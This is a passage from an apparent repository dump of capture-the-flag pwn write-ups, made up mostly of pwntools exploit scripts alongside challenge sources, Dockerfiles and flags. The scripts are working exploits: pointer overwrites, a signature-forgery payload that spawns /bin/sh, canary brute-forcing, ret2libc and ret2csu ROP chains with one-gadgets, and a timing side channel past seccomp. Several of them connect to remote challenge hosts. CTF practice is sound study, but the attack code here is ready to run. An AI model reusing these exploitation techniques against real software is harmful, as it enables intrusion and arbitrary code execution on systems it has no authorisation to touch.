print(target.recvuntil(b'data')) 21 | target.sendline(content) 22 | 23 | def edit_char(index, character): 24 | print(target.recvuntil(b'5. Exit')) 25 | target.sendline(b'3') 26 | print(target.recvuntil(b'What index would you like to modify')) 27 | target.sendline(str(index)) 28 | print(target.recvuntil(b'What type would you like?')) 29 | target.sendline(b'4') 30 | print(target.recvuntil(b'What is your value:')) 31 | target.sendline(character) 32 | 33 | def edit_string(index, length, data): 34 | print(target.recvuntil(b'5. Exit')) 35 | target.sendline(b'3') 36 | 37 | print(target.recvuntil(b'What index would you like to modify')) 38 | target.sendline(str(index)) 39 | 40 | print(target.recvuntil(b'What type would you like?')) 41 | target.sendline(b'1') 42 | 43 | print(target.recvuntil(b'like your string to be')) 44 | target.sendline(str(length)) 45 | 46 | print(target.recvuntil(b'data')) 47 | target.sendline(data) 48 | 49 | def display(): 50 | print(target.recvuntil(b'5. Exit\n')) 51 | target.sendline(b'2') 52 | 53 | create_string(20, '0' * 20) 54 | create_string(20, '1' * 20) 55 | 56 | edit_char(0, b'\x70') 57 | edit_string(0, 0, b'') 58 | 59 | display() 60 | 61 | leak = target.recv(6) 62 | print(leak) 63 | display_string = u64(leak + b'\x00' * 2) 64 | print(hex(display_string)) 65 | 66 | pie_base = display_string - elf.symbols['display_string'] 67 | win = pie_base + elf.symbols['win'] 68 | print(hex(win)) 69 | 70 | #Round 2: 71 | 72 | edit_char(1, b'\x70') 73 | 74 | edit_string(1, 8, p64(win)) 75 | 76 | display() 77 | 78 | target.interactive() 79 | -------------------------------------------------------------------------------- /pwn_challs/RACTF/hotel_codeifornia/hotel_codeifornia: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/RACTF/hotel_codeifornia/hotel_codeifornia -------------------------------------------------------------------------------- /pwn_challs/RACTF/hotel_codeifornia/hotel_codeifornia_code_generator.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | base = b'import os; os.system("/bin/sh")#' 3 | 4 | valid_results = [b'q\x00', b'\x01\x00', b'T\x00', b"'\x00", b'0\x00', b'\x13\x00', b'b\x00', b'(\x00', b'F\x00', b'!\x00', b'*\x00'] 5 | 6 | i = 0 7 | break_now = False 8 | while i <= 0xff: 9 | for j in range(0xff): 10 | m = hashlib.sha256() 11 | current_test = base + int.to_bytes(i, 1, 'big') + int.to_bytes(j, 1, 'big') 12 | m.update(current_test) 13 | if m.digest()[:2] in valid_results: 14 | print(current_test) 15 | print(m.digest()) 16 | print('success on', i, 'and', j) 17 | break_now = True 18 | break 19 | if break_now == True: 20 | break 21 | i += 1 22 | 23 | -------------------------------------------------------------------------------- /pwn_challs/RACTF/hotel_codeifornia/hotel_codeifornia_payload_final.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./hotel_codeifornia') 4 | target = remote('193.57.159.27', 34814) 5 | 6 | #pid = gdb.attach(target, "\nb *verify_sig+775\nset disassembly-flavor intel\ncontinue") 7 | 8 | print(target.recvuntil(b'Enter code>')) 9 | 10 | target.sendline(b'import os; os.system("/bin/sh")#\x1f\x0c') 11 | 12 | print(target.recvuntil(b'please, sir>')) 13 | 14 | target.sendline(hex(435)[2:].encode('ascii')) 15 | 16 | target.interactive() 17 | 18 | 19 | -------------------------------------------------------------------------------- /pwn_challs/RACTF/hotel_codeifornia/hotel_codeifornia_sig_generator.py: -------------------------------------------------------------------------------- 1 | n = 17968726631679375478170381456033212274004615098868841438186702015768001928704071692300906654794175896999675061031093913538918198425839970346084146741288046906975850987978874785021068319116476054223631011519298936017406500170186227779849347178318219980694967357217295042325732673168621779705813036471834056074720926940524495374790502478631565724366566286944917328495264005297543946547156297522489432822528613588267656271353551915455938523726037237411821104210630921593325468147618924818488532399692207860502388244437060256989981481000588792444305973977346504260354233208388669942833904308477253176054126319360313792771 2 | e = 65537 3 | 4 | valid_results = [] 5 | for i in range(2, 2000): 6 | result = (i ** e) % n 7 | final = int.to_bytes(result, 500, 'big').strip(b'\x00\x00') 8 | if final[1] == 0: 9 | print('If we input', i, 'we get', final[:2]) 10 | valid_results.append(final[:2]) 11 | print(valid_results) 12 | 13 | -------------------------------------------------------------------------------- /pwn_challs/RACTF/hotel_codeifornia/pubkey.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAjlb4vwt0v4fsmVqR4Ilu 3 | goQNAJuE9Xckwrq3Hr723rKsdeVUBV05Hv9Q7DqGrkuohGevbD3cptFaCKiPAeLJ 4 | ZLjm8WZ4a5zj3WCPZaStTCmAZ9MUh7ykenpJ3RrYY0x7hy7JJ5D/WqmzV7tkUjqm 5 | 8miV401PI7tKeJoZXPbfFDLBEfhjn5I3oTElq/cjvJDJlzaliJ4uqhs8XMUhcN1D 6 | CmiGgsv/QaQ7GCMeUVSuUtU1JunTAvyEsEXFKhpVIBjzP2xkaDGqNHZ95upTM53C 7 | SwnLRBwSQ0oky4bu3Z5GxxiLQ3Cd4jYQJoMKGySbtMZ6BAhNeg21ClkWdixBudoZ 8 | AwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /pwn_challs/RACTF/hotel_codeifornia/rsa_decoder: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | key_encoded='''-----BEGIN PUBLIC KEY----- 3 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAjlb4vwt0v4fsmVqR4Ilu 4 | goQNAJuE9Xckwrq3Hr723rKsdeVUBV05Hv9Q7DqGrkuohGevbD3cptFaCKiPAeLJ 5 | ZLjm8WZ4a5zj3WCPZaStTCmAZ9MUh7ykenpJ3RrYY0x7hy7JJ5D/WqmzV7tkUjqm 6 | 8miV401PI7tKeJoZXPbfFDLBEfhjn5I3oTElq/cjvJDJlzaliJ4uqhs8XMUhcN1D 7 | CmiGgsv/QaQ7GCMeUVSuUtU1JunTAvyEsEXFKhpVIBjzP2xkaDGqNHZ95upTM53C 8 | SwnLRBwSQ0oky4bu3Z5GxxiLQ3Cd4jYQJoMKGySbtMZ6BAhNeg21ClkWdixBudoZ 9 | AwIDAQAB 10 | -----END PUBLIC KEY-----''' 11 | 12 | 13 | pubkey = RSA.importKey(key_encoded) 14 | print(pubkey.n) 15 | print(pubkey.e) 16 | 17 | from cryptography.hazmat.backends import default_backend 18 | from cryptography.hazmat.primitives import serialization 19 | 20 | pubkey2 = serialization.load_pem_public_key( 21 | key_encoded.encode('ascii'), 22 | backend=default_backend() 23 | ) 24 | 25 | print(pubkey2.public_numbers().n) 26 | print(pubkey2.public_numbers().e) 27 | -------------------------------------------------------------------------------- /pwn_challs/RaRCTF/Guessing_Game/Dockerfile: -------------------------------------------------------------------------------- 1 | from ubuntu:20.04 2 | ARG DEBIAN_FRONTEND=noninteractive 3 | RUN apt update && apt install -y socat 4 | EXPOSE 1337 5 | COPY guess /guess 6 | COPY flag.txt /flag.txt 7 | CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:/guess"] 8 | -------------------------------------------------------------------------------- /pwn_challs/RaRCTF/Guessing_Game/guess: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/RaRCTF/Guessing_Game/guess -------------------------------------------------------------------------------- /pwn_challs/RaRCTF/Guessing_Game/guess_payload_final.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = process('./guess') 4 | #+229, +374 5 | #pid = gdb.attach(target, "\nb *main+356\n set disassembly-flavor intel\ncontinue") 6 | 7 | target = remote('193.57.159.27', 55206) 8 | elf = ELF('guess') 9 | #libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') 10 | libc = ELF('libc6_2.31-0ubuntu9.2_amd64.so') 11 | count = 0 12 | 13 | i = 1 14 | depth = 0 15 | addition = 0 16 | canary = 0 17 | while True: 18 | print(target.recvuntil(b'(0-7)?')) 19 | target.sendline(str(0x20 + i).encode('ascii')) 20 | print(target.recvuntil(b'guess:')) 21 | my_guess = 0x100 // 2 + addition 22 | print(hex(my_guess)) 23 | target.sendline(str(my_guess).encode('ascii')) 24 | result = target.recvuntil(b'Which') 25 | depth += 1 26 | if b'low' in result: 27 | if depth == 7: 28 | my_guess += 1 29 | canary += (0x10 ** (2 * i)) * my_guess 30 | print(hex(canary)) 31 | i += 1 32 | depth = 0 33 | addition = 0 34 | else: 35 | addition += 0x100 // (2 ** (depth + 1)) 36 | elif b'high' in result: 37 | if depth == 7: 38 | my_guess -= 1 39 | canary += (0x10 ** (2 * i)) * my_guess 40 | print(hex(canary)) 41 | i += 1 42 | depth = 0 43 | addition = 0 44 | else: 45 | addition += -1 * (0x100 // (2 ** (depth + 1))) 46 | else: 47 | canary += (0x10 ** ( 2 * i)) * my_guess 48 | print(hex(canary)) 49 | i += 1 50 | depth = 0 51 | addition = 0 52 | count += 1 53 | if i == 8: 54 | break 55 | 56 | i = 1 57 | depth = 0 58 | addition = 0 59 | libc_leak = 0xb3 60 | 61 | while True: 62 | print(target.recvuntil(b'(0-7)?')) 63 | target.sendline(str(0x30 + i).encode('ascii')) 64 | print(target.recvuntil(b'guess:')) 65 | my_guess = 0x100 // 2 + addition 66 | print(hex(my_guess)) 67 | target.sendline(str(my_guess).encode('ascii')) 68 | result = target.recvuntil(b'Which') 69 | depth += 1 70 | print(depth) 71 | if b'low' in result: 72 | if depth == 7: 73 | my_guess += 1 74 | libc_leak += (0x10 ** (2 * i)) * my_guess 75 | print(hex(libc_leak)) 76 | i += 1 77 | depth = 0 78 | addition = 0 79 | 80 | else: 81 | addition += 0x100 // (2 ** (depth + 1)) 82 | 83 | elif b'high' in result: 84 | if depth == 7: 85 | my_guess -= 1 86 | libc_leak += (0x10 ** (2 * i)) * my_guess 87 | print(hex(libc_leak)) 88 | i += 1 89 | depth = 0 90 | addition = 0 91 | else: 92 | addition += -1 * (0x100 // (2 ** (depth + 1))) 93 | if my_guess == 0x1: 94 | my_guess = 0 95 | libc_leak += (0x10 ** (2 * i)) * my_guess 96 | print(hex(libc_leak)) 97 | i += 1 98 | depth = 0 99 | addition = 0 100 | else: 101 | libc_leak += (0x10 ** (2 * i)) * my_guess 102 | print(hex(libc_leak)) 103 | i += 1 104 | depth = 0 105 | addition = 0 106 | count += 1 107 | if i == 6: 108 | break 109 | 110 | 111 | print('i used', count, 'guesses') 112 | print('canary is', hex(canary)) 113 | print('libc leak is', hex(libc_leak)) 114 | 115 | #target.interactive() 116 | for i in range(8 - count): 117 | print(target.recvuntil(b'(0-7)?', timeout=1)) 118 | target.sendline(str(0x20).encode('ascii')) 119 | print(target.recvuntil(b'guess:', timeout=1)) 120 | my_guess = 0 121 | print(hex(my_guess)) 122 | target.sendline(str(my_guess).encode('ascii')) 123 | 124 | 125 | print(target.recvuntil(b'game?')) 126 | 127 | libc_start_main = libc_leak - 243 128 | libc_base = libc_start_main - libc.symbols['__libc_start_main'] 129 | print('libc start main is at', hex(libc_start_main)) 130 | binsh = libc_base + next(libc.search(b'/bin/sh\x00')) 131 | 132 | #Who knows why, but it only accepts execve, not system. 133 | system = libc_base + libc.symbols['execve'] 134 | onegadget1 = libc_base + 0xe6e73 135 | onegadget2 = libc_base + 0xe6e76 136 | onegadget3 = libc_base + 0xe6e79 137 | 138 | 139 | payload = b'\x00' * 24 140 | 141 | payload += p64(canary) 142 | payload += p64(libc_base + 0x1ee100) 143 | 144 | payload += p64(onegadget3) 145 | 146 | 147 | target.sendline(payload) 148 | 149 | 150 | target.interactive() 151 | 152 | #rarctf{4nd_th3y_s41d_gu3ss1ng_1snt_fun!!_c9cbd665} 153 | -------------------------------------------------------------------------------- /pwn_challs/RaRCTF/Guessing_Game/libc6_2.31-0ubuntu9.2_amd64.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/RaRCTF/Guessing_Game/libc6_2.31-0ubuntu9.2_amd64.so -------------------------------------------------------------------------------- /pwn_challs/RaRCTF/boring_flag_runner/boring-flag-checker: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/RaRCTF/boring_flag_runner/boring-flag-checker -------------------------------------------------------------------------------- /pwn_challs/RaRCTF/boring_flag_runner/boring-flag-runner.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/RaRCTF/boring_flag_runner/boring-flag-runner.zip -------------------------------------------------------------------------------- /pwn_challs/RaRCTF/boring_flag_runner/boring_flag_runner_payload_final.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #target = remote('localhost', 1337) 4 | target = remote('193.57.159.27', 28643) 5 | 6 | print(target.recvuntil('program:')) 7 | 8 | payload = b'' 9 | 10 | bf_payload = '<' * (0x130 + 0x8) + '.' + '-' * 58 + '<' + '-' * 0x2 + '<' + '+' * 12 11 | 12 | 13 | bf_payload += '>' * (8 + 2) + '.' + '<' * 0x10 + '[-' + '>' * 0x10 + '+' + '<' * 0x10 + ']' + '.' + '>' * 0x10 14 | bf_payload += '<' + '.' + '<' * 0x10 + '[-' + '>' * 0x10 + '+' + '<' * 0x10 + ']' + '.' + '>' * 0x10 + '+' * 0x10 15 | bf_payload += ('<' + '.' + '<' * 0x10 + '[-' + '>' * 0x10 + '+' + '<' * 0x10 + ']' + '.' + '>' * 0x10) * 4 16 | 17 | bf_chars = '<]>[,.-+' 18 | plain = b'\x40\x41\x42\x43\x44\x45\x46\x47' 19 | for char in bf_payload: 20 | index = bf_chars.find(char) 21 | payload += chr(plain[index]).encode('ascii') 22 | print(payload) 23 | 24 | target.sendline(payload) 25 | 26 | target.interactive() 27 | 28 | -------------------------------------------------------------------------------- /pwn_challs/RaRCTF/boring_flag_runner/script_creator_final.py: -------------------------------------------------------------------------------- 1 | file1 = open('sample_program', 'wb') 2 | 3 | bf_chars = '>]<[,.-+' 4 | bf_payload = '>' * (0x130 + 0x8) + '.' + '-' * 58 + '>' + '-' * 0x2 + '>' + '+' * 12 5 | 6 | bf_payload += '<' * (8 + 2) + '.' + '>' * 0x10 + '[-' + '<' * 0x10 + '+' + '>' * 0x10 + ']' + '.' + '<' * 0x10 7 | bf_payload += '>' + '.' + '>' * 0x10 + '[-' + '<' * 0x10 + '+' + '>' * 0x10 + ']' + '.' + '<' * 0x10 + '+' * 0x10 8 | bf_payload += ('>' + '.' + '>' * 0x10 + '[-' + '<' * 0x10 + '+' + '>' * 0x10 + ']' + '.' + '<' * 0x10) * 4 9 | 10 | plain = b'\x40\x41\x42\x43\x44\x45\x46\x47' 11 | for char in bf_payload: 12 | index = bf_chars.find(char) 13 | file1.write(chr(plain[index]).encode('ascii')) 14 | 15 | file1.close() 16 | 17 | -------------------------------------------------------------------------------- /pwn_challs/UIUCTF22/no-syscalls-allowed.c/no-syscalls-allowed_writeup.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.clear(arch='amd64') 4 | def get_a_bit(register, reg_offset, bit, local): 5 | if local == 1: 6 | target = process('./no_syscalls_allowed') 7 | pid = gdb.attach(target, "\nb *main+160\n set disassembly-flavor intel\ncontinue") 8 | else: 9 | target = remote('no-syscalls-allowed.chal.uiuc.tf', 1337) 10 | payload = asm('mov al, BYTE PTR ds:[' + register + '+' + str(reg_offset) + ''']; 11 | xor r11, r11; 12 | shr al, ''' + str(bit) +'''; 13 | shl al, 7; 14 | shr al, 7; 15 | imul rax, 0x20000000 16 | loop_start: 17 | cmp rax, r11; 18 | je loop_finished; 19 | inc r11; 20 | imul ebx, 0x13; 21 | jmp loop_start; 22 | loop_finished: 23 | ''') 24 | target.sendline(payload) 25 | current = time.time() 26 | print(target.recvall()) 27 | now = time.time() 28 | diff = now - current 29 | print(diff) 30 | if diff > 0.2: 31 | print('the bit is 1') 32 | return 1 33 | else: 34 | print('the bit is 0') 35 | return 0 36 | target.close() 37 | 38 | def get_a_byte(register, reg_offset, local): 39 | bit_string = '' 40 | for i in range(8): 41 | bit_string = str(get_a_bit(register, reg_offset, i, local)) + bit_string 42 | print(bit_string) 43 | return int(bit_string, 2) 44 | 45 | def start_of_code_bit(reg_offset, bit, local): 46 | if local == 1: 47 | target = process('./no_syscalls_allowed') 48 | pid = gdb.attach(target, "\nb *main+160\n set disassembly-flavor intel\ncontinue") 49 | else: 50 | target = remote('no-syscalls-allowed.chal.uiuc.tf', 1337) 51 | payload = asm(''' 52 | mov rbx, QWORD PTR ds:[rbp+0x10]; 53 | sub rbx, 0x98; 54 | sub rbx, 0x1000; 55 | mov al, BYTE PTR ds:[rbx+''' + str(reg_offset) + ''']; 56 | xor r11, r11; 57 | shr al, ''' + str(bit) +'''; 58 | shl al, 7; 59 | shr al, 7; 60 | imul rax, 0x20000000 61 | loop_start: 62 | cmp rax, r11; 63 | je loop_finished; 64 | inc r11; 65 | imul ebx, 0x13; 66 | jmp loop_start; 67 | loop_finished: 68 | ''') 69 | target.sendline(payload) 70 | current = time.time() 71 | print(target.recvall()) 72 | now = time.time() 73 | diff = now - current 74 | print(diff) 75 | if diff > 0.2: 76 | print('the bit is 1') 77 | return 1 78 | else: 79 | print('the bit is 0') 80 | return 0 81 | target.close() 82 | 83 | def start_of_code_byte(reg_offset, local): 84 | bit_string = '' 85 | for i in range(8): 86 | bit_string = str(start_of_code_bit(reg_offset, i, local)) + bit_string 87 | print(bit_string) 88 | return int(bit_string, 2) 89 | 90 | 91 | #Verify leak methodology: 92 | ''' 93 | byte = hex(get_a_byte('rip', 0, 0)) 94 | print(byte) 95 | ''' 96 | 97 | #Search stack, manually incremented: 98 | ''' 99 | byte = hex(get_a_byte('rbp', 0x10+5, 0)) 100 | print(byte) 101 | ''' 102 | 103 | #Get final nibbles of PIE leak 104 | ''' 105 | byte = hex(get_a_byte('rbp', 0x10, 0)) 106 | print('current byte is', byte) 107 | byte = hex(get_a_byte('rbp', 0x10 + 1, 0)) 108 | print('current byte is', byte) 109 | ''' 110 | #Verify start of code section 111 | ''' 112 | header = '' 113 | for i in range(4): 114 | byte = (start_of_code_byte(i, 0)) 115 | header += chr(byte) 116 | print(header) 117 | ''' 118 | #Search for flag 119 | ''' 120 | for i in range(0x80, 0x100, 0x10): 121 | test = '' 122 | for j in range(4): 123 | byte = (start_of_code_byte(i+j+0x4000, 0)) 124 | test += chr(byte) 125 | print(test) 126 | if 'uiu' in test: 127 | print('SUCCESS!!!') 128 | print('offset at', hex(i)) 129 | break 130 | ''' 131 | 132 | flag = '' 133 | for i in range(0x80, 0xb0): 134 | byte = (start_of_code_byte(0x4000+i, 0)) 135 | print('current byte is', hex(byte)) 136 | flag += chr(byte) 137 | print(flag) 138 | if byte == 0: 139 | print(i) 140 | break 141 | print(flag) 142 | -------------------------------------------------------------------------------- /pwn_challs/UIUCTF22/no-syscalls-allowed.c/no_syscalls_allowed.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | // gcc no_syscalls_allowed.c -lseccomp -o no_syscalls_allowed 7 | // socat tcp-l:1337,reuseaddr,fork exec:./no_syscalls_allowed 8 | 9 | char flag[100]; 10 | 11 | void main(int argc, char *argv[]) { 12 | int fd = open("/flag.txt", O_RDONLY); 13 | read(fd, flag, sizeof flag); 14 | 15 | void *code = mmap(NULL, 0x1000, PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 16 | read(STDIN_FILENO, code, 0x1000); 17 | 18 | if (seccomp_load(seccomp_init(SCMP_ACT_KILL)) < 0) return; 19 | 20 | ((void (*)())code)(); 21 | } 22 | -------------------------------------------------------------------------------- /pwn_challs/UIUCTF23/Chainmail/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 as chroot 2 | 3 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 4 | 5 | COPY flag.txt / 6 | COPY chal /home/user/ 7 | 8 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 9 | 10 | COPY --from=chroot / /chroot 11 | 12 | COPY nsjail.cfg /home/user/ 13 | 14 | CMD kctf_setup && \ 15 | kctf_drop_privs \ 16 | socat \ 17 | TCP-LISTEN:1337,reuseaddr,fork \ 18 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal" 19 | -------------------------------------------------------------------------------- /pwn_challs/UIUCTF23/Chainmail/chainmail_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #Pwning the binary 4 | target = process('./chal') 5 | pid = gdb.attach(target, 'b *main+179\ncontinue') 6 | #Pwning the actual netcat connection 7 | #target = remote('chainmail.chal.uiuc.tf', 1337) 8 | 9 | print(target.recvuntil(b'recipient')) 10 | padding = b'a' *72 11 | elf = ELF('chal') 12 | 13 | payload = padding + p64(elf.symbols['main']+179) + p64(elf.symbols['give_flag']) 14 | 15 | target.sendline(payload) 16 | 17 | target.interactive() -------------------------------------------------------------------------------- /pwn_challs/UIUCTF23/Chainmail/chal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/UIUCTF23/Chainmail/chal -------------------------------------------------------------------------------- /pwn_challs/UIUCTF23/Chainmail/chal.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void give_flag() { 7 | FILE *f = fopen("/flag.txt", "r"); 8 | if (f != NULL) { 9 | char c; 10 | while ((c = fgetc(f)) != EOF) { 11 | putchar(c); 12 | } 13 | } 14 | else { 15 | printf("Flag not found!\n"); 16 | } 17 | fclose(f); 18 | } 19 | 20 | int main(int argc, char **argv) { 21 | setvbuf(stdout, NULL, _IONBF, 0); 22 | setvbuf(stderr, NULL, _IONBF, 0); 23 | setvbuf(stdin, NULL, _IONBF, 0); 24 | 25 | char name[64]; 26 | printf("Hello, welcome to the chain email generator! Please give the name of a recipient: "); 27 | gets(name); 28 | printf("Okay, here's your newly generated chainmail message!\n\nHello %s,\nHave you heard the news??? Send this email to 10 friends or else you'll have bad luck!\n\nYour friend,\nJim\n", name); 29 | return 0; 30 | } 31 | 32 | -------------------------------------------------------------------------------- /pwn_challs/idekCTF_2022/Typop/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM pwn.red/jail 2 | COPY --from=ubuntu:20.04 / /srv 3 | RUN mkdir /srv/app 4 | ADD chall /srv/app/run 5 | ADD flag.txt /srv/app/flag.txt 6 | RUN chmod +x /srv/app/run 7 | -------------------------------------------------------------------------------- /pwn_challs/idekCTF_2022/Typop/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/idekCTF_2022/Typop/chall -------------------------------------------------------------------------------- /pwn_challs/idekCTF_2022/Typop/flag.txt: -------------------------------------------------------------------------------- 1 | idek{2_guess_typos_do_matter} 2 | -------------------------------------------------------------------------------- /pwn_challs/idekCTF_2022/Typop/ld-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/idekCTF_2022/Typop/ld-2.31.so -------------------------------------------------------------------------------- /pwn_challs/idekCTF_2022/Typop/libc-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/idekCTF_2022/Typop/libc-2.31.so -------------------------------------------------------------------------------- /pwn_challs/idekCTF_2022/Typop/typop.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/idekCTF_2022/Typop/typop.tar -------------------------------------------------------------------------------- /pwn_challs/idekCTF_2022/Typop/typop_exploit_ret2csu.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = process('./chall') 4 | 5 | pid = gdb.attach(target, 'b *getFeedback+70\nb *getFeedback+172\nb *getFeedback+199\ncontinue') 6 | 7 | elf = ELF('chall') 8 | libc = ELF('libc-2.31.so') 9 | #target = remote('typop.chal.idek.team', 1337) 10 | 11 | print(target.recvuntil(b'complete a survey?')) 12 | 13 | target.sendline(b'y') 14 | print(target.recvuntil(b'ctf?')) 15 | payload1 = b'a' * 11 16 | target.send(payload1) 17 | 18 | print(target.recvuntil(payload1)) 19 | 20 | leak = target.recv(7) 21 | canary = u64(b'\x00' + leak) 22 | print(hex(canary)) 23 | #Only needed for ret2csu 24 | stack_leak = u64(target.recv(6) + b'\x00' * 2) 25 | print(hex(stack_leak)) 26 | 27 | payload2 = cyclic(100) 28 | padding = b'a' * 10 29 | payload2 = padding 30 | payload2 += p64(canary) 31 | payload2 += b'a' * 8 32 | 33 | payload2 += b'\x42' 34 | target.send(payload2) 35 | 36 | print(target.recvuntil(b'ctf?')) 37 | payload3 = b'a' * 0x1a 38 | target.send(payload3) 39 | print(target.recvuntil(payload3)) 40 | leak = target.recv(6) 41 | print(leak) 42 | main_55 = u64(leak + b'\x00' * 2) 43 | pie_base = main_55 - elf.symbols['main'] - 55 44 | pop_rdi = pie_base + 0x00000000000014d3 45 | pop_rsi_r15 = pie_base + 0x00000000000014d1 46 | writable = pie_base + elf.bss() 47 | print(hex(pop_rdi)) 48 | 49 | csu_pops = pie_base + 0x014ca 50 | csu_movs = pie_base + 0x014b0 51 | 52 | payload4 = padding 53 | payload4 += p64(canary) 54 | payload4 += p64(pie_base+elf.symbols['win']) 55 | payload4 += p64(csu_pops) 56 | payload4 += p64(0) #rbx 57 | payload4 += p64(1) #rbp 58 | payload4 += p64(ord('f')) #r12 => edi 59 | payload4 += p64(ord('l')) #r13 => rsi 60 | payload4 += p64(ord('a')) #r14 => rdx 61 | payload4 += p64(stack_leak - 0x10) #r15, points to win and called 62 | payload4 += p64(csu_movs) 63 | target.send(payload4) 64 | target.interactive() 65 | -------------------------------------------------------------------------------- /pwn_challs/idekCTF_2022/Typop/typop_exploit_ret2libc.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = process('./chall') 4 | 5 | pid = gdb.attach(target, 'b *getFeedback+70\nb *getFeedback+172\nb *getFeedback+199\ncontinue') 6 | 7 | elf = ELF('chall') 8 | libc = ELF('libc-2.31.so') 9 | #target = remote('typop.chal.idek.team', 1337) 10 | 11 | print(target.recvuntil(b'complete a survey?')) 12 | 13 | target.sendline(b'y') 14 | print(target.recvuntil(b'ctf?')) 15 | payload1 = b'a' * 11 16 | target.send(payload1) 17 | 18 | print(target.recvuntil(payload1)) 19 | 20 | leak = target.recv(7) 21 | canary = u64(b'\x00' + leak) 22 | print(hex(canary)) 23 | 24 | payload2 = cyclic(100) 25 | padding = b'a' * 10 26 | payload2 = padding 27 | payload2 += p64(canary) 28 | payload2 += b'a' * 8 29 | 30 | payload2 += b'\x42' 31 | target.send(payload2) 32 | 33 | print(target.recvuntil(b'ctf?')) 34 | payload3 = b'a' * 0x1a 35 | target.send(payload3) 36 | print(target.recvuntil(payload3)) 37 | leak = target.recv(6) 38 | print(leak) 39 | main_55 = u64(leak + b'\x00' * 2) 40 | pie_base = main_55 - elf.symbols['main'] - 55 41 | pop_rdi = pie_base + 0x00000000000014d3 42 | pop_rsi_r15 = pie_base + 0x00000000000014d1 43 | writable = pie_base + elf.bss() 44 | print(hex(pop_rdi)) 45 | 46 | payload4 = padding 47 | payload4 += p64(canary) 48 | payload4 += b'b' * 8 49 | payload4 += p64(pop_rdi) 50 | payload4 += p64(pie_base + elf.got['puts']) 51 | payload4 += p64(pie_base + elf.symbols['puts']) 52 | payload4 += p64(pie_base + elf.symbols['getFeedback']) 53 | target.sendline(payload4) 54 | 55 | print(target.recvuntil(b'feedback?\n')) 56 | leak = target.recv(6) 57 | puts_libc = u64(leak + b'\x00' * 2) 58 | print(hex(puts_libc)) 59 | libc_base = puts_libc - libc.symbols['puts'] 60 | onegadget = libc_base + 0xe3b01 61 | pop_rdx = libc_base + 0x0000000000142c92 62 | print(hex(pop_rdx)) 63 | 64 | 65 | print(target.recvuntil(b'ctf?')) 66 | payload5 = b'a' * 2 67 | target.send(payload5) 68 | print(target.recvuntil(payload5)) 69 | 70 | 71 | payload6 = padding 72 | payload6 += p64(canary) 73 | payload6 += b'b' * 8 74 | payload6 += p64(pop_rdx) 75 | payload6 += p64(0) 76 | payload6 += p64(onegadget) 77 | 78 | target.sendline(payload6) 79 | target.interactive() 80 | 81 | -------------------------------------------------------------------------------- /pwn_challs/picoMini_21/ReadMe.md: -------------------------------------------------------------------------------- 1 | If you want to play along with this challenges, they are all still available for practice on the picoCTF gym: https://play.picoctf.org/practice?category=6&page=1 2 | 3 | As a result, I'm not providing the challenge binaries here, and I am redacting the flags. 4 | -------------------------------------------------------------------------------- /pwn_challs/picoMini_21/clutter_overflow/clutter_overflow_payload.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #I used these lines for local debugging 4 | #target = process('./clutter_overflow') 5 | 6 | #This wasn't necessary since the program prints the values. 7 | #If it didn't print the values, you could check it was working by viewing the contents of the addresses being compared on the line that this breaks at 8 | 9 | #pid = gdb.attach(target, "\nb *main+143\ncontinue") 10 | 11 | target = remote('mars.picoctf.net', 31890) 12 | 13 | 14 | print(target.recvuntil(b'What do you see?')) 15 | 16 | #This could be used in alternative way to find the padding. You would look at the value in code if this payload is passed, and determine the offset of the unique substring within the cyclic string. 